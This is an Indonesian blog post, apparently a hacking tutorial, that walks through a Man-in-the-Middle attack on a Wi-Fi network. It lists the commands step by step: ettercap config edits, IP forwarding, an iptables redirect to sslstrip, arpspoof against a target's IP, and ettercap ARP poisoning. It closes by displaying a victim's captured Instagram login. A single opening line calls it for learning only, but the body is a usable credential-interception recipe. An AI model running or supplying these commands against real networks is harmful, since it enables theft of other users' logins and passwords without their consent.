Anherr Blog's: Sniffing

<div style="text-align: justify;">
Postingan berikut dibuat hanya sebagai pembelajaran saja ya bro, jadi jangan di salah gunakan, gunakan ilmu dengan bijak :D</div>
Teknik ini biasa di sebut Man In The Middle Attack (MITM)<br />
Apa itu MITM ?<br />
<div>
<blockquote class="tr_bq" style="text-align: justify;">
Serangan Man in The Middle (MiTM) adalah salah satu serangan hacking yang dilakukan dari dalam jaringan untuk melakukan penyadapan informasi dengan cara membelokkan jalur koneksi dimana penyerang berada di antara dua target yang sedang melakukan komunikasi</blockquote>
Biar gak penasaran langsung saja bro kita praktekkan</div>
<div>
Pertama kita buka terlebih dahulu konfigurasi ettercap yang berada di folder /etc/ettercap/ kita buka menggunkan leafpad</div>
<div>
<blockquote class="tr_bq">
leafpad /etc/ettercap/etter.conf</blockquote>
selanjutnya cari kata # if you use iptables: kemudian hilangkan tanda pagar di depan redir_command_on dan<br />
redir_command_off<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrln7qXnsQVn3pouGBduvpn3QXV-qEGQP9VkT3Eod3lapD-bOgSdKdRhCClE76Jm8I5h1aZjpy49H2WV_hQUdEjMKLxtNOX1-31cnNoZlMuaSdh6os_W2p2PjRiZ4LbeScxvCM4SKsdsU/s1600/1a1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="redir_command_on dan redir_command_off" border="0" height="19" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrln7qXnsQVn3pouGBduvpn3QXV-qEGQP9VkT3Eod3lapD-bOgSdKdRhCClE76Jm8I5h1aZjpy49H2WV_hQUdEjMKLxtNOX1-31cnNoZlMuaSdh6os_W2p2PjRiZ4LbeScxvCM4SKsdsU/s320/1a1.png" title="Melihat Username dan Password Pengguna Jaringan Wifi" width="320" /></a></div>
menjadi<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaW3_z8ubpqDtp7JGPBNkg_SoI2F9MqPtYS9jD2T_z8GN42pTGx4c1WovnFrJS6uuEg9MmBCNSAT1k_1bDgX5r8F_I6PCxC6kQlntfbktQSaIBBOKVs3qCfTNdw_5mfq_NduIFJVumf9U/s1600/1a2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="redir_command_on dan redir_command_off" border="0" height="19" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaW3_z8ubpqDtp7JGPBNkg_SoI2F9MqPtYS9jD2T_z8GN42pTGx4c1WovnFrJS6uuEg9MmBCNSAT1k_1bDgX5r8F_I6PCxC6kQlntfbktQSaIBBOKVs3qCfTNdw_5mfq_NduIFJVumf9U/s320/1a2.png" title="Melihat Username dan Password Pengguna Jaringan Wifi" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
selanjutnya kita aktifkan IP Forward dengan perintah<br />
<blockquote class="tr_bq">
echo 1 > /proc/sys/net/ipv4/ip_forward</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhe8h7-BUVkFp-AzmGpolvMprALcaefxjkD-aykYsSqfIgNINP-zqveL5Jt2H7aXO7PkCv-J-N37kgz31VrFtCqaFu1UsFzkRlmHxptvMwx6j8HU5mfQ0zOY54neZfciwPnWAQLK38uHd4/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="echo 1 > /proc/sys/net/ipv4/ip_forward" border="0" height="63" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhe8h7-BUVkFp-AzmGpolvMprALcaefxjkD-aykYsSqfIgNINP-zqveL5Jt2H7aXO7PkCv-J-N37kgz31VrFtCqaFu1UsFzkRlmHxptvMwx6j8HU5mfQ0zOY54neZfciwPnWAQLK38uHd4/s320/2.png" title="Melihat Username dan Password Pengguna Jaringan Wifi" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
kemudian redirect port 80 ke 10000, agar koneksi pada port default akses web (80) kita redirect ke port SSLSTRIP yang kita gunakan untuk menterjemahkan akses HTTPS ke HTTP, dengan perintah</div>
<div>
<blockquote class="tr_bq">
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDphm-qHJUqWWqEcUx_4PRUkuQTwTUFqYKcWhiSFcg0PSLazKtFqO8aQHiPU13y8YNVwsZvr_SqhA9g9GXm5CoKlB6vKYsZlMxMmL1UVvxr0xg0Qdlj1HY3XFoXsLDKvrfvbMwwP4n70k/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000" border="0" height="48" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDphm-qHJUqWWqEcUx_4PRUkuQTwTUFqYKcWhiSFcg0PSLazKtFqO8aQHiPU13y8YNVwsZvr_SqhA9g9GXm5CoKlB6vKYsZlMxMmL1UVvxr0xg0Qdlj1HY3XFoXsLDKvrfvbMwwP4n70k/s320/3.png" title="Melihat Username dan Password Pengguna Jaringan Wifi" width="320" /></a></div>
<br />
sebelum ke tahap selanjutnya kita harus mengatahui ip gateway dan ip target terlebih dahulu,<br />
untuk mengetahui ip gateway cukup ketikkan di terminal<br />
<blockquote class="tr_bq">
route -n</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmsFUDH8nDz6ZipZCdIhbqscZ65i_nYVLOOzjkK2dd6WhIG8X5rmygzrHemXoCIvFY5pbTWU1KX82nyT_m2yPlrEV6EMUu2a4Ktr0BHZYmKEExpViK89P74O1Jq-XFmlSDE0Nv9TNvvhI/s1600/route.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="route -n" border="0" height="69" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmsFUDH8nDz6ZipZCdIhbqscZ65i_nYVLOOzjkK2dd6WhIG8X5rmygzrHemXoCIvFY5pbTWU1KX82nyT_m2yPlrEV6EMUu2a4Ktr0BHZYmKEExpViK89P74O1Jq-XFmlSDE0Nv9TNvvhI/s320/route.png" title="Melihat Username dan Password Pengguna Jaringan Wifi" width="320" /></a></div>
<br />
<div style="text-align: justify;">
selanjutnya untuk mengetahui ip  target disini saya menggunakan angry ip scanner, kalian juga bisa menggunakan autoscan-network, nmap dan sebagainya</div>
<div>
<br /></div>
<div>
disini saya sudah mendapatkan target yg sedang aktif di jaringan wifi<br />
<br /></div>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjoty50aZC29euSjOsArP4x6bQdL_gA_TflWrupJVoUm5FKV1rAXTha3V7W_GftFI7nAR1bQ_hoG8uxSaJkHS8HTTUPDcOw1zdz4Wpz81C30dbDdY_lXNAAYn97A_IknuxqO3VM5oSmMWo/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="IPScan" border="0" height="186" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjoty50aZC29euSjOsArP4x6bQdL_gA_TflWrupJVoUm5FKV1rAXTha3V7W_GftFI7nAR1bQ_hoG8uxSaJkHS8HTTUPDcOw1zdz4Wpz81C30dbDdY_lXNAAYn97A_IknuxqO3VM5oSmMWo/s320/4.png" title="Melihat Username dan Password Pengguna Jaringan Wifi" width="320" /></a></div>
<br /></div>
<div>
Selanjutnya lakukan spoof arp menggunakan arpspoof</div>
<blockquote class="tr_bq">
arpspoof -i <b>wlan0</b> -t <span style="color: red;">192.168.1.105</span> <span style="color: lime;">192.168.1.1</span></blockquote>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiTMGobgH8pjd39vB8g1-hyQhhG4bx7A1at8EMuVumCCx65kWMNLxl0j6wE9ASQBrumVVNyKkUUZ2vMIQmGl8DILlT3TFI0uNfZ7KPj5c9ZezzhAGhWMF3nxh0Xu4BTv8_iAZnErQ-6yk/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="arpspoof -i wlan0 -t 192.168.1.105 192.168.1.1" border="0" height="123" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiTMGobgH8pjd39vB8g1-hyQhhG4bx7A1at8EMuVumCCx65kWMNLxl0j6wE9ASQBrumVVNyKkUUZ2vMIQmGl8DILlT3TFI0uNfZ7KPj5c9ZezzhAGhWMF3nxh0Xu4BTv8_iAZnErQ-6yk/s320/5.png" title="Melihat Username dan Password Pengguna Jaringan Wifi" width="320" /></a></div>
<br />
keterangan:</div>
<div>
<b>wlan0</b>               : jenis interface yang digunakan </div>
<div>
<span style="color: red;">192.168.1.105 </span>: Ip target</div>
<div>
<span style="color: lime;">192.168.1.1 </span>    : ip gateway</div>
<div>
<br /></div>
<div>
Sejanjutnya buka terminal baru untuk menjalankan sslstrip, perintahnya</div>
<blockquote class="tr_bq">
sslstrip -akf</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiubrEn8lKBCbjVr-Uh4eQPH-4zVnLCbAAbPmDwc9nStaiYlYooeRsQHMEF32cthhAPmLheXdoSsPf7aRTV30BwoeJard4AdPlTMl-nJMvy6QCFSzehBPba44dnMHCv0bmuNvx4VDGIOkk/s1600/6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="sslstrip -akf" border="0" height="183" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiubrEn8lKBCbjVr-Uh4eQPH-4zVnLCbAAbPmDwc9nStaiYlYooeRsQHMEF32cthhAPmLheXdoSsPf7aRTV30BwoeJard4AdPlTMl-nJMvy6QCFSzehBPba44dnMHCv0bmuNvx4VDGIOkk/s320/6.png" title="Melihat Username dan Password Pengguna Jaringan Wifi" width="320" /></a></div>
<br />
Buka terminal baru lagi untuk melakukan sniffing dengan menggunakan ettercap<br />
<blockquote class="tr_bq">
ettercap -T -q -i wlan0 -M arp // //</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJF9yIamkbeMEgNZzzFPKI3qCQcqMLbbacMWq-NDooE8jUnsHv3YZkORZ85-ABp-EzzabMy6OXeCkn0dj9mFz29EPrpGkivwBzgKdWXrnIIi_xRVrVGL6KfXmdFMx4T5CChSQy9SbZ4CY/s1600/7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="ettercap -T -q -i wlan0 -M arp // //" border="0" height="187" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJF9yIamkbeMEgNZzzFPKI3qCQcqMLbbacMWq-NDooE8jUnsHv3YZkORZ85-ABp-EzzabMy6OXeCkn0dj9mFz29EPrpGkivwBzgKdWXrnIIi_xRVrVGL6KfXmdFMx4T5CChSQy9SbZ4CY/s320/7.png" title="Melihat Username dan Password Pengguna Jaringan Wifi" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="text-align: justify;"><br /></span></div>
Jadi nanti jika target mengakses situs-situs yang memerlukan login, nanti hasilnya seperti dibawah ini<br />
<br /></div>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRsjV9UAYqv6DXEv9UJHQ83XPd18B9-SbX1LkCWuFTWUBzhC-VDQyRDJbMJ1Oc6m4bW-x8fkElVf6hDPses5YTf_hUPAwXqPK2DYhza8yEAQuNm6LtMUW11Jb_sK1NVpKKSINMMw00Fh8/s1600/8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="ARP Poisoning" border="0" height="190" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRsjV9UAYqv6DXEv9UJHQ83XPd18B9-SbX1LkCWuFTWUBzhC-VDQyRDJbMJ1Oc6m4bW-x8fkElVf6hDPses5YTf_hUPAwXqPK2DYhza8yEAQuNm6LtMUW11Jb_sK1NVpKKSINMMw00Fh8/s320/8.png" title="Melihat Username dan Password Pengguna Jaringan Wifi" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Terlihat username dan pasword korban sedang login di instagram</div>
</div>